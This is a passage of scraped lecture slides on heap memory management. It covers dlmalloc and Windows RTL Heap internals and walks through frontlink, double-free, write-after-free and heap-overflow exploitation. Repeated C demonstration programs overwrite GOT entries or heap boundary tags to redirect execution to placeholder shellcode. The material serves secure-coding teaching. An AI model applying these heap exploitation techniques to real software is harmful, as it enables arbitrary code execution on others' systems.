![Page 73: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/73.jpg)
dlmalloc#include <stdlib.h>#include <string.h>#include <stdio.h>int main(int argc, char *argv[]){ if (argc !=3){
printf("Usage: prog_name arg1 \n");exit(-1);
}char *first, *second, *third;char *fourth, *fifth, *sixth;first = malloc(strlen(argv[2]) + 1);second = malloc(1500);third = malloc(12);fourth = malloc(666);fifth = malloc(1508);sixth = malloc(12);strcpy(first, argv[2]);free(fifth);strcpy(fourth, argv[1]);free(second);return(0);
}
This fake chunk contains the address of a function pointer (minus 8) in the location where the back
pointer is normally found.
A suitable function pointer is the first
destructor function stored in the .dtors
section of the program.
![Page 74: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/74.jpg)
dlmalloc#include <stdlib.h>#include <string.h>#include <stdio.h>int main(int argc, char *argv[]){ if (argc !=3){
printf("Usage: prog_name arg1 \n");exit(-1);
}char *first, *second, *third;char *fourth, *fifth, *sixth;first = malloc(strlen(argv[2]) + 1);second = malloc(1500);third = malloc(12);fourth = malloc(666);fifth = malloc(1508);sixth = malloc(12);strcpy(first, argv[2]);free(fifth);strcpy(fourth, argv[1]);free(second);return(0);
}
An attacker can discover this address by examining the executable image.
![Page 75: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/75.jpg)
dlmalloc#include <stdlib.h>#include <string.h>#include <stdio.h>int main(int argc, char *argv[]){ if (argc !=3){
printf("Usage: prog_name arg1 \n");exit(-1);
}char *first, *second, *third;char *fourth, *fifth, *sixth;first = malloc(strlen(argv[2]) + 1);second = malloc(1500);third = malloc(12);fourth = malloc(666);fifth = malloc(1508);sixth = malloc(12);strcpy(first, argv[2]);free(fifth);strcpy(fourth, argv[1]);free(second);return(0);
}
When the second chunk is freed, the frontlink() code segment inserts it into the same bin as the fifth chunk.
![Page 76: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/76.jpg)
dlmalloc
Frontlink technique: frontlink code segmentBK = bin;FD = BK->fd;if (FD != BK) { while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk;}P->bk = BK;P->fd = FD;FD->bk = BK->fd = P
The While loop is executed in the frontlink() code segment
Second is smaller than fifth
![Page 77: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/77.jpg)
dlmalloc
Frontlink technique: frontlink code segmentBK = bin;FD = BK->fd;if (FD != BK) { while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk;}P->bk = BK;P->fd = FD;FD->bk = BK->fd = P
The forward pointer of the fifth chunk is stored in the variable FD
![Page 78: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/78.jpg)
dlmalloc
Frontlink technique: frontlink code segment
BK = bin;FD = BK->fd;if (FD != BK) { while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk;}P->bk = BK;P->fd = FD;FD->bk = BK->fd = P
The back pointer of this fake chunk is stored in the variable BK
BK now contains the address of the function pointer (minus 8)The function pointer is overwritten by the address of the second chunk.
![Page 79: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/79.jpg)
dlmalloc
Frontlink technique: frontlink code segment
BK = bin;FD = BK->fd;if (FD != BK) { while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk;}P->bk = BK;P->fd = FD;FD->bk = BK->fd = P
BK now contains the address of the function pointer (minus 8)
The function pointer is overwritten by the address of the second chunk.
![Page 80: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/80.jpg)
dlmalloc
Frontlink technique: frontlink code segment
BK = bin;FD = BK->fd;if (FD != BK) { while (FD != BK && S < chunksize(FD)) { FD = FD->fd; } BK = FD->bk;}P->bk = BK;P->fd = FD;FD->bk = BK->fd = P
The back pointer of this fake chunk is stored in the variable BK
BK now contains the address of the function pointer (minus 8)The function pointer is overwritten by the address of the second chunk.
![Page 81: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/81.jpg)
dlmalloc#include <stdlib.h>#include <string.h>#include <stdio.h>int main(int argc, char *argv[]){ if (argc !=3){
printf("Usage: prog_name arg1 \n");exit(-1);
}char *first, *second, *third;char *fourth, *fifth, *sixth;first = malloc(strlen(argv[2]) + 1);second = malloc(1500);third = malloc(12);fourth = malloc(666);fifth = malloc(1508);sixth = malloc(12);strcpy(first, argv[2]);free(fifth);strcpy(fourth, argv[1]);free(second);return(0);
}
The call of return(0) causes the program’s destructor function to be called, but this executes the shellcode instead.
![Page 82: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/82.jpg)
dlmalloc
Frontlink technique Difficult to execute No known exploits in the wild
![Page 83: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/83.jpg)
dlmalloc
Double Free Vulnerability This vulnerability arises from freeing the
same chunk of memory twice, without it being reallocated in between.
For a double-free exploit to be successful, two conditions must be met:
The chunk to be freed must be isolated in memory.
The bin into which the chunk is to be placed must be empty.
![Page 84: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/84.jpg)
dlmalloc
Empty Bin and Allocated Chunk The empty bin consists only of a header. There is no connection with the allocated chunk.
Forward pointer to first chunk in list
Back pointer to last chunk in list
Size of previous chunk, if unallocated
Size of chunk, in bytes
User data:
P->
bin->
P
![Page 85: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/85.jpg)
dlmalloc
After the chunk is freed, it is put into the bin. After the call to frontlink, the bin’s forward and backward
pointer point to the freed chunk.
Forward pointer to first chunk in list
Back pointer to last chunk in list
Size of previous chunk, if unallocated
Size of chunk, in bytes
Forward pointer to next chunk in list
Back pointer to previous chunk in list
Unused space (may be 0 bytes long)
Size of chunk
P->
bin->
P
![Page 86: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/86.jpg)
dlmalloc
The second call to free on this chunk corrupts the bin structure.
Forward pointer to first chunk in list
Back pointer to last chunk in list
Size of previous chunk, if unallocated
Size of chunk, in bytes
Forward pointer to next chunk in list
Back pointer to previous chunk in list
Unused space (may be 0 bytes long)
Size of chunk
P->
bin->
P
![Page 87: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/87.jpg)
dlmalloc
This structure is exploitable. Real-world examples exist (see later). The technique is difficult.
Freed chunks are not immediately put into a bin, but are cached.
The double-freed chunk could be consolidated with other chunks.
![Page 88: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/88.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
The target of this exploit is the first chunk allocated
When first is initially freed, it is put into a cache bin rather than a regular one
![Page 89: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/89.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
Freeing the third chunk moves the first chunk to a regular bin.
Allocating the second and fourth chunks prevents the third chunk from being consolidated
![Page 90: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/90.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
Allocating the fifth chunk causes memory to be split off from the third chunk and, as a side effect, this results in the first chunk being moved to a regular bin
![Page 91: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/91.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
Memory is now configured so that freeing the first chunk a second time sets up the double-free vulnerability
![Page 92: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/92.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
When the sixth chunk is allocated, malloc() returns a pointer to the same chunk referenced by first
![Page 93: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/93.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
The GOT address of the strcpy() function (minus 12) and the shellcode location are copied into this memory (lines 22-23),
![Page 94: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/94.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
The same memory chunk is allocated yet again as the seventh chunk on line 24
![Page 95: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/95.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
when the chunk is allocated, the unlink() macro has the effect of copying the address of the shellcode into the address of the strcpy() function in the global offset table
![Page 96: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/96.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
When strcpy() is called control is transferred to the shell code.
The shellcode jumps over the first 12 bytes because some of this memory is overwritten by unlink
![Page 97: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/97.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. free(first);21. sixth = (void *)malloc(256);22. *((void **)(sixth+0))=(void *)(GOT_LOCATION-12);23. *((void **)(sixth+4))=(void *)shellcode_location;24. seventh = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
write to the first chunk on lines 18-19 after it has been freed on line 15.
![Page 98: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/98.jpg)
dlmalloc
Double free vulnerability is difficult to exploit, but it has been done.
Writing to freed memory can also results into a vulnerability.
![Page 99: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/99.jpg)
dlmalloc
Writing to freed memory can also lead to vulnerabilities
Almost identical example
![Page 100: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/100.jpg)
1. static char *GOT_LOCATION = (char *)0x0804c98c; 2. static char shellcode[] = 3. "\xeb\x0cjump12chars_" 3. /* jump */ 4. "\x90\x90\x90\x90\x90\x90\x90\x90" 5. 6. int main(void){ 7. int size = sizeof(shellcode); 8. void *shellcode_location; 9. void *first, *second, *third, *fourth;10. void *fifth, *sixth, *seventh;11. shellcode_location = (void *)malloc(size);12. strcpy(shellcode_location, shellcode);13. first = (void *)malloc(256);14. second = (void *)malloc(256);15. third = (void *)malloc(256);16. fourth = (void *)malloc(256);17. free(first);18. free(third);19. fifth = (void *)malloc(128);20. //free(first);21. sixth = (void *)malloc(256);22. *((void **)(first+0))=(void *)(GOT_LOCATION-12);23. *((void **)(first+4))=(void *)shellcode_location;24. sixth = (void *)malloc(256);25. strcpy(fifth, "something");26. return 0;27. }
No double free.
But a write to first.
Call to malloc() replaces the address of stringcpy() with the address of the shellcode.
Call to strcpy invokes the shellcode.
![Page 101: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/101.jpg)
RTL Heap
Windows Memory Organization
Win32 Application
(2) Heap Memory API
(1) Virtual Memory API
NT Virtual Memory Manager
(5) MemoryMapped File
API
(3) Local, GlobalMemory API
(4) CRT MemoryFunctions
RAMSecondary Storage
![Page 102: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/102.jpg)
RTL Heap Windows Memory Design
Virtual Memory API 32b addresses Pages of 4KB User address space divided into regions
Regions have protection, type, base allocation for pages
Heap Memory API Allows creation of multiple dynamic heaps. One default heap
![Page 103: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/103.jpg)
RTL Heap Windows Memory Design
Local, Global Memory API Needed for backward compatibility with
Windows 3.1 CRT Memory Function
C run-time Memory Mapped File API
Allow an application to map its virtual address space directly to a file on disk.
![Page 104: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/104.jpg)
RTL Heap
RTL – RunTime Library Uses virtual memory API Implements the higher level local,
global, CRT memory functions.
![Page 105: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/105.jpg)
RTL Heap
Windows Memory Organization
Win32 Application
(2) Heap Memory API
(1) Virtual Memory API
NT Virtual Memory Manager
(5) MemoryMapped File
API
(3) Local, GlobalMemory API
(4) CRT MemoryFunctions
RAMSecondary Storage
![Page 106: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/106.jpg)
RTL Heap Misuse of memory management APIs
can result in software vulnerabilities. Need to understand RTL data
structures: Process environment block. Free lists, look-aside lists. Memory chunk structures.
![Page 107: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/107.jpg)
RTL Heap Process Environment Block
PEB maintains global variables for each process. PEB is referenced by each of the process thread
environment blocks (TEBs) TEBs are referenced by the fs register. Windows OS < XP SP2:
PEB at 0x7FFDF000. PEB gives info on heap data structures:
Maximum number of heaps. The actual number of heaps. The location of the default heap. A pointer to an array containing the locations of all the
heaps.
![Page 108: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/108.jpg)
RTL Heap
ProcessHeap
NumberOfHeaps = 3
ProcessHeaps
PEB (0x7FFDF000)
Heap
Heap
DefaultHeap
![Page 109: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/109.jpg)
RTL Heap FreeList
Array of 128 double-linked lists located at an offset of 0x178 from the start of the heap
(address returned by HeapCreate()). RtlHeap uses them to keep track of free chunks. FreeList[] is an array of LIST_ENTRY structures
Each LIST_ENTRY is the head of a double-linked list. The LIST_ENTRY structure is defined in winnt.h Consists of a forward link (flink) and a backward link
(blink).
![Page 110: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/110.jpg)
RTL Heap
Free List Example
6
5
4
3
2
1
0
6
5
4
3
2
1
0 1400 2000 2000 2408
16 16
48 48
…14131211109876543210 …14131211109876543210
![Page 111: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/111.jpg)
RTL Heap
Free chunks in this list are sorted from smallest to largest. The heap associated with this data structure contains eight
free chunks. Two of these chunks are 16 bytes in length and maintained on
the linked list stored at FreeList[2]. Two more chunks of 48 bytes each are maintained on the
linked list at FreeList[6].
6
5
4
3
2
1
0
6
5
4
3
2
1
0 1400 2000 2000 2408
16 16
48 48
…14131211109876543210 …14131211109876543210
![Page 112: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/112.jpg)
RTL Heap
The relationship between the size of the chunk and the location of the free list in the array is maintained.
The final four free chunks of 1400, 2000, 2000, and 2408 bytes are all greater than 1024 and are maintained on FreeList[0] in order of increasing size.
When a new heap is created, the free lists are initially empty. When a list is empty, the forward and backward links point to the list
head.
6
5
4
3
2
1
0
6
5
4
3
2
1
0 1400 2000 2000 2408
16 16
48 48
…14131211109876543210 …14131211109876543210
![Page 113: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/113.jpg)
RTL Heap Memory in the page that is not allocated
as part of the first chunk or used for heap control structures is added to a free list.
For relatively small allocations (e.g., less than 1472 bytes), the free chunk is placed in FreeList[0] for chunks over 1024 bytes in size.
Subsequent allocations are carved from this free chunk, assuming enough space is available.
![Page 114: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/114.jpg)
RTL Heap Singly-linked look-aside lists
Created in the heap during heap allocation.
Used to speed up allocation of the small blocks (that is, under 1016 bytes).
Initially they are empty and grow only as memory is freed.
They are checked for suitable blocks before the free lists.
Look-aside list N Free chunk Free chunk
flink flink flink null
![Page 115: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/115.jpg)
RTL Heap Number of free blocks in the look-aside lists is
adjusted automatically. Depending on the allocation frequency for certain block
sizes. The more often memory of a certain size is
allocated the greater the number of blocks of that size can be stored in the respective list.
Use of the look-aside lists results in relatively quick memory allocation of small memory chunks.
![Page 116: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/116.jpg)
RTL Heap Boundary control tag
Each memory chunk returned by HeapAlloc() or malloc() has one.
Located 8B before the address returned by HeapAlloc().
Contains: Size Size of previous chunk Flags, including busy flag
Is the chunk free? Legacy fields
![Page 117: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/117.jpg)
RTL Heap
Allocated Chunk Boundary Tag
Previous chunk size
Self SizeSegment
IndexFlags
Unusedbytes
Tag index(Debug)
Previous chunk size
Self SizeSegment
IndexFlags
Unusedbytes
Tag index(Debug)
0 1 2 3 4 5 6 7 80 1 2 3 4 5 6 7 8
01 – Busy02 – Extra present04 – Fill pattern08 – Virtual Alloc10 – Last entry20 – FFU140 – FFU280 – Don’t coalesce
01 – Busy02 – Extra present04 – Fill pattern08 – Virtual Alloc10 – Last entry20 – FFU140 – FFU280 – Don’t coalesce
![Page 118: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/118.jpg)
RTL Heap
When chunk is freed: Boundary tag remains. Free memory contains next chunk
and previous chunk addresses. Busy bit flag is cleared.
![Page 119: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/119.jpg)
RTL Heap
Free Chunk Boundary Tag
Previous chunk size
Self SizeSegment
IndexFlags
Unusedbytes
Tag index(Debug)
0 1 2 3 4 5 6 7 80 1 2 3 4 5 6 7 8
Next chunk Previous chunk
![Page 120: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/120.jpg)
RTL Heap
Heap based buffer overflow attacks Typically overwrite forward and
backward pointers Normal heap operations can result in
overwriting an address to change the execution flow
![Page 121: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/121.jpg)
RTL Heap 1. unsigned char shellcode[] = "\x90\x90\x90\x90"; 2. unsigned char malArg[] = "0123456789012345"
"\x05\x00\x03\x00\x00\x00\x08\x00" "\xb8\xf5\x12\x00\x40\x90\x40\x00";
3. void mem() { 4. HANDLE hp; 5. HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0; 6. hp = HeapCreate(0, 0x1000, 0x10000); 7. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 9. h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10. HeapFree(hp,0,h2); 11. memcpy(h1, malArg, 32); 12. h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13. return;14. }
15. int _tmain(int argc, _TCHAR* argv[]) {16. mem();17. return 0; 18. }
Freeing h2 on line 10 creates a gap in the allocated memory.
![Page 122: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/122.jpg)
RTL Heap 1. unsigned char shellcode[] = "\x90\x90\x90\x90"; 2. unsigned char malArg[] = "0123456789012345"
"\x05\x00\x03\x00\x00\x00\x08\x00" "\xb8\xf5\x12\x00\x40\x90\x40\x00";
3. void mem() { 4. HANDLE hp; 5. HLOCAL h1 = 0, h2 = 0, h3 = 0, h4 = 0; 6. hp = HeapCreate(0, 0x1000, 0x10000); 7. h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 8. h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 9. h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16); 10. HeapFree(hp,0,h2); 11. memcpy(h1, malArg, 32); 12. h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 128); 13. return;14. }
15. int _tmain(int argc, _TCHAR* argv[]) {16. mem();17. return 0; 18. }
Buffer Overflow:16B overflow h1, the rest overflow into h2:First 8B overwrite the boundary tag
![Page 123: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/123.jpg)
RTL Heap
Previous chunk size
Self SizeSegment
IndexFlags
Unusedbytes
Tag index(Debug)
0 1 2 3 4 5 6 7 80 1 2 3 4 5 6 7 8
Now Target Address:Return address on stack Address of Shellcode
Unchanged
![Page 124: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/124.jpg)
RTL Heap Exploit
HeapAlloc() call requests the same number of bytes as in h2
RTL Heap retrieves h2 from free list
